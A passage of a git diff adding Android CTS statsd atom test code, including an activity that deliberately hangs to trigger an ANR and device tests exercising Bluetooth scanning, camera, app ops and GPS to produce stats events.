+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+    android:contentAuthority= "com.android.server.cts.device.statsdatom.provider"
+    android:accountType="com.android.cts.statsdatom"
+/>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/ANRActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/ANRActivity.java
new file mode 100644
index 0000000..330cdb4
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/ANRActivity.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.view.WindowManager;
+
+public class ANRActivity extends Activity {
+    private static final String TAG = "ANRActivity";
+    private static final String ACTION_ANR = "action_anr";
+
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                while (true) {
+                  SystemClock.sleep(2);
+                }
+            }
+        }, new IntentFilter(ACTION_ANR));
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
new file mode 100644
index 0000000..090f743
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -0,0 +1,1053 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.ActivityManager;
+import android.app.ActivityManager.RunningServiceInfo;
+import android.app.AlarmManager;
+import android.app.AppOpsManager;
+import android.app.PendingIntent;
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanFilter;
+import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.location.GnssStatus;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.media.MediaPlayer;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.cts.util.CtsNetUtils;
+import android.net.wifi.WifiManager;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.provider.Settings;
+import android.text.TextUtils;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.util.StatsEvent;
+import android.util.StatsLog;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.Test;
+
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BiConsumer;
+
+public class AtomTests {
+    private static final String TAG = AtomTests.class.getSimpleName();
+
+    private static final String MY_PACKAGE_NAME = "com.android.server.cts.device.statsdatom";
+
+    private static final Map<String, Integer> APP_OPS_ENUM_MAP = new ArrayMap<>();
+    static {
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION, 0);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION, 1);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GPS, 2);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_VIBRATE, 3);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CONTACTS, 4);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CONTACTS, 5);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALL_LOG, 6);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALL_LOG, 7);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALENDAR, 8);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALENDAR, 9);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WIFI_SCAN, 10);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_POST_NOTIFICATION, 11);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEIGHBORING_CELLS, 12);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CALL_PHONE, 13);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_SMS, 14);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SMS, 15);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_SMS, 16);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_EMERGENCY_BROADCAST, 17);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_MMS, 18);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_WAP_PUSH, 19);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SEND_SMS, 20);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_ICC_SMS, 21);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_ICC_SMS, 22);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SETTINGS, 23);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW, 24);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS, 25);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CAMERA, 26);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO, 27);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PLAY_AUDIO, 28);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CLIPBOARD, 29);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CLIPBOARD, 30);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_MEDIA_BUTTONS, 31);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_AUDIO_FOCUS, 32);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MASTER_VOLUME, 33);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_VOICE_VOLUME, 34);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_RING_VOLUME, 35);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MEDIA_VOLUME, 36);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ALARM_VOLUME, 37);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_NOTIFICATION_VOLUME, 38);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_BLUETOOTH_VOLUME, 39);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WAKE_LOCK, 40);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_LOCATION, 41);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION, 42);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_USAGE_STATS, 43);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MUTE_MICROPHONE, 44);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TOAST_WINDOW, 45);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROJECT_MEDIA, 46);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_VPN, 47);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_WALLPAPER, 48);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_STRUCTURE, 49);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_SCREENSHOT, 50);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_STATE, 51);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ADD_VOICEMAIL, 52);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_SIP, 53);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS, 54);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_FINGERPRINT, 55);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BODY_SENSORS, 56);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CELL_BROADCASTS, 57);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MOCK_LOCATION, 58);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, 59);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, 60);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TURN_SCREEN_ON, 61);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_ACCOUNTS, 62);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_IN_BACKGROUND, 63);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ACCESSIBILITY_VOLUME, 64);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_NUMBERS, 65);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_INSTALL_PACKAGES, 66);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PICTURE_IN_PICTURE, 67);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INSTANT_APP_START_FOREGROUND, 68);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ANSWER_PHONE_CALLS, 69);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_ANY_IN_BACKGROUND, 70);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CHANGE_WIFI_STATE, 71);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_DELETE_PACKAGES, 72);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BIND_ACCESSIBILITY_SERVICE, 73);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCEPT_HANDOVER, 74);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_IPSEC_TUNNELS, 75);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_START_FOREGROUND, 76);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_SCAN, 77);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_BIOMETRIC, 78);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, 79);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SMS_FINANCIAL_TRANSACTIONS, 80);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_AUDIO, 81);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_AUDIO, 82);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_VIDEO, 83);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, 84);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_IMAGES, 85);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, 86);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LEGACY_STORAGE, 87);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY, 88);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS, 89);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_MEDIA_LOCATION, 90);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_QUERY_ALL_PACKAGES, 91);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_EXTERNAL_STORAGE, 92);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES, 93);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_PLATFORM_VPN, 94);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LOADER_USAGE_STATS, 95);
+        // Op 96 was deprecated/removed
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_MICROPHONE, 100);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_CAMERA, 101);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_CREDENTIALS, 104);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, 105);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_OUTPUT, 106);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM, 107);
+    }
+
+    @Test
+    // Start the isolated service, which logs an AppBreadcrumbReported atom, and then exit.
+    public void testIsolatedProcessService() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        Intent intent = new Intent(context, IsolatedProcessService.class);
+        context.startService(intent);
+        sleep(2_000);
+        context.stopService(intent);
+    }
+
+    @Test
+    public void testAudioState() {
+        // TODO: This should surely be getTargetContext(), here and everywhere, but test first.
+        Context context = InstrumentationRegistry.getContext();
+        MediaPlayer mediaPlayer = MediaPlayer.create(context, R.raw.good);
+        mediaPlayer.start();
+        sleep(2_000);
+        mediaPlayer.stop();
+    }
+
+    @Test
+    public void testBleScanOpportunistic() {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
+        performBleScan(scanSettings, null,false);
+    }
+
+    @Test
+    public void testBleScanUnoptimized() {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        performBleScan(scanSettings, null, false);
+    }
+
+    @Test
+    public void testBleScanResult() {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        ScanFilter.Builder scanFilter = new ScanFilter.Builder();
+        performBleScan(scanSettings, Arrays.asList(scanFilter.build()), true);
+    }
+
+    @Test
+    public void testBleScanInterrupted() throws Exception {
+        performBleAction((bluetoothAdapter, bleScanner) -> {
+            ScanSettings scanSettings = new ScanSettings.Builder()
+                    .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+            ScanCallback scanCallback = new ScanCallback() {
+                @Override
+                public void onScanResult(int callbackType, ScanResult result) {
+                    Log.v(TAG, "called onScanResult");
+                }
+                @Override
+                public void onScanFailed(int errorCode) {
+                    Log.v(TAG, "called onScanFailed");
+                }
+                @Override
+                public void onBatchScanResults(List<ScanResult> results) {
+                    Log.v(TAG, "called onBatchScanResults");
+                }
+            };
+
+            int uid = Process.myUid();
+            int whatAtomId = 9_999;
+
+            // Get the current setting for bluetooth background scanning.
+            // Set to 0 if the setting is not found or an error occurs.
+            int initialBleScanGlobalSetting = Settings.Global.getInt(
+                    InstrumentationRegistry.getTargetContext().getContentResolver(),
+                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
+
+            // Turn off bluetooth background scanning.
+            Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
+                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
+
+            // Change state to State.ON.
+            bleScanner.startScan(null, scanSettings, scanCallback);
+            sleep(6_000);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+
+            bluetoothAdapter.disable();
+            sleep(6_000);
+
+            // Trigger State.RESET so that new state is State.OFF.
+            if (!bluetoothAdapter.enable()) {
+                Log.e(TAG, "Could not enable bluetooth to trigger state reset");
+                return;
+            }
+            sleep(6_000); // Wait for Bluetooth to fully turn on.
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+
+            // Set bluetooth background scanning to original setting.
+            Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
+                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, initialBleScanGlobalSetting);
+        });
+    }
+
+    private static void writeSliceByBleScanStateChangedAtom(int atomId, int firstUid,
+                                                            boolean field2, boolean field3,
+                                                            boolean field4) {
+        final StatsEvent.Builder builder = StatsEvent.newBuilder()
+                .setAtomId(atomId)
+                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
+                .writeBoolean(field2)
+                .writeBoolean(field3)
+                .writeBoolean(field4)
+                .usePooledBuffer();
+
+        StatsLog.write(builder.build());
+    }
+
+    /**
+     * Set up BluetoothLeScanner and perform the action in the callback.
+     * Restore Bluetooth to original state afterwards.
+     **/
+    private static void performBleAction(BiConsumer<BluetoothAdapter, BluetoothLeScanner> actions) {
+        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+        if (bluetoothAdapter == null) {
+            Log.e(TAG, "Device does not support Bluetooth");
+            return;
+        }
+        boolean bluetoothEnabledByTest = false;
+        if (!bluetoothAdapter.isEnabled()) {
+            if (!bluetoothAdapter.enable()) {
+                Log.e(TAG, "Bluetooth is not enabled");
+                return;
+            }
+            sleep(2_000); // Wait for Bluetooth to fully turn on.
+            bluetoothEnabledByTest = true;
+        }
+        BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
+        if (bleScanner == null) {
+            Log.e(TAG, "Cannot access BLE scanner");
+            return;
+        }
+
+        actions.accept(bluetoothAdapter, bleScanner);
+
+        // Restore adapter state
+        if (bluetoothEnabledByTest) {
+            bluetoothAdapter.disable();
+        }
+    }
+
+
+    private static void performBleScan(ScanSettings scanSettings, List<ScanFilter> scanFilters, boolean waitForResult) {
+        performBleAction((bluetoothAdapter, bleScanner) -> {
+            CountDownLatch resultsLatch = new CountDownLatch(1);
+            ScanCallback scanCallback = new ScanCallback() {
+                @Override
+                public void onScanResult(int callbackType, ScanResult result) {
+                    Log.v(TAG, "called onScanResult");
+                    resultsLatch.countDown();
+                }
+                @Override
+                public void onScanFailed(int errorCode) {
+                    Log.v(TAG, "called onScanFailed");
+                }
+                @Override
+                public void onBatchScanResults(List<ScanResult> results) {
+                    Log.v(TAG, "called onBatchScanResults");
+                    resultsLatch.countDown();
+                }
+            };
+
+            bleScanner.startScan(scanFilters, scanSettings, scanCallback);
+            if (waitForResult) {
+                waitForReceiver(InstrumentationRegistry.getContext(), 59_000, resultsLatch, null);
+            } else {
+                sleep(2_000);
+            }
+            bleScanner.stopScan(scanCallback);
+        });
+    }
+
+    @Test
+    public void testCameraState() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        CameraManager cam = context.getSystemService(CameraManager.class);
+        String[] cameraIds = cam.getCameraIdList();
+        if (cameraIds.length == 0) {
+            Log.e(TAG, "No camera found on device");
+            return;
+        }
+
+        CountDownLatch latch = new CountDownLatch(1);
+        final CameraDevice.StateCallback cb = new CameraDevice.StateCallback() {
+            @Override
+            public void onOpened(CameraDevice cd) {
+                Log.i(TAG, "CameraDevice " + cd.getId() + " opened");
+                sleep(2_000);
+                cd.close();
+            }
+            @Override
+            public void onClosed(CameraDevice cd) {
+                latch.countDown();
+                Log.i(TAG, "CameraDevice " + cd.getId() + " closed");
+            }
+            @Override
+            public void onDisconnected(CameraDevice cd) {
+                Log.w(TAG, "CameraDevice  " + cd.getId() + " disconnected");
+            }
+            @Override
+            public void onError(CameraDevice cd, int error) {
+                Log.e(TAG, "CameraDevice " + cd.getId() + "had error " + error);
+            }
+        };
+
+        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
+        handlerThread.start();
+        Looper looper = handlerThread.getLooper();
+        Handler handler = new Handler(looper);
+
+        cam.openCamera(cameraIds[0], cb, handler);
+        waitForReceiver(context, 10_000, latch, null);
+    }
+
+    @Test
+    public void testFlashlight() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        CameraManager cam = context.getSystemService(CameraManager.class);
+        String[] cameraIds = cam.getCameraIdList();
+        boolean foundFlash = false;
+        for (int i = 0; i < cameraIds.length; i++) {
+            String id = cameraIds[i];
+            if(cam.getCameraCharacteristics(id).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
+                cam.setTorchMode(id, true);
+                sleep(500);
+                cam.setTorchMode(id, false);
+                foundFlash = true;
+                break;
+            }
+        }
+        if(!foundFlash) {
+            Log.e(TAG, "No flashlight found on device");
+        }
+    }
+
+    @Test
+    public void testForegroundService() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        // The service goes into foreground and exits shortly
+        Intent intent = new Intent(context, StatsdCtsForegroundService.class);
+        context.startService(intent);
+        sleep(500);
+        context.stopService(intent);
+    }
+
+    @Test
+    public void testForegroundServiceAccessAppOp() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        Intent fgsIntent = new Intent(context, StatsdCtsForegroundService.class);
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
+
+        // No foreground service session
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
+        sleep(500);
+
+        // Foreground service session 1
+        context.startService(fgsIntent);
+        while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
+            sleep(50);
+        }
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
+        startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        sleep(500);
+        context.stopService(fgsIntent);
+
+        // No foreground service session
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
+        sleep(500);
+
+        // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
+    }
+
+    @Test
+    public void testAppOps() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
+
+        String[] opsList = appOpsManager.getOpStrs();
+
+        for (int i = 0; i < opsList.length; i++) {
+            String op = opsList[i];
+            if (TextUtils.isEmpty(op)) {
+                // Operation removed/deprecated
+                continue;
+            }
+            int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
+            for (int j = 0; j < noteCount; j++) {
+                try {
+                    noteAppOp(appOpsManager, opsList[i]);
+                } catch (SecurityException e) {}
+            }
+        }
+    }
+
+    private void noteAppOp(AppOpsManager aom, String opStr) {
+        aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
+    }
+
+    private void startAppOp(AppOpsManager aom, String opStr) {
+        aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
+    }
+
+    /** Check if service is running. */
+    public boolean checkIfServiceRunning(Context context, String serviceName) {
+        ActivityManager manager = context.getSystemService(ActivityManager.class);
+        for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
+            if (serviceName.equals(service.service.getClassName()) && service.foreground) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Test
+    public void testGpsScan() {
+        Context context = InstrumentationRegistry.getContext();
+        final LocationManager locManager = context.getSystemService(LocationManager.class);
+        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
+            Log.e(TAG, "GPS provider is not enabled");
+            return;
+        }
+        CountDownLatch latch = new CountDownLatch(1);
+
+        final LocationListener locListener = new LocationListener() {
+            public void onLocationChanged(Location location) {
+                Log.v(TAG, "onLocationChanged: location has been obtained");
+            }
+            public void onProviderDisabled(String provider) {
+                Log.w(TAG, "onProviderDisabled " + provider);
+            }
+            public void onProviderEnabled(String provider) {
+                Log.w(TAG, "onProviderEnabled " + provider);
+            }
+            public void onStatusChanged(String provider, int status, Bundle extras) {
+                Log.w(TAG, "onStatusChanged " + provider + " " + status);
+            }
+        };
+
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                Looper.prepare();
+                locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
+                        locListener);
+                sleep(1_000);
+                locManager.removeUpdates(locListener);
+                latch.countDown();
+                return null;
+            }
+        }.execute();
+
+        waitForReceiver(context, 59_000, latch, null);
+    }
+
+    @Test
+    public void testGpsStatus() {
+        Context context = InstrumentationRegistry.getContext();
+        final LocationManager locManager = context.getSystemService(LocationManager.class);
+
+        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
+            Log.e(TAG, "GPS provider is not enabled");
+            return;
+        }
+
+        // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
+        // max time which would be around 90 seconds.
+        // This is based on similar location cts test timeout values.
+        final int TIMEOUT_IN_MSEC = 85_000;
+        final int SLEEP_TIME_IN_MSEC = 5_000;
+
+        final CountDownLatch mLatchNetwork = new CountDownLatch(1);
+
+        final LocationListener locListener = location -> {
+            Log.v(TAG, "onLocationChanged: location has been obtained");
+            mLatchNetwork.countDown();
+        };
+
+        // fetch the networklocation first to make sure the ttff is not flaky
+        if (locManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
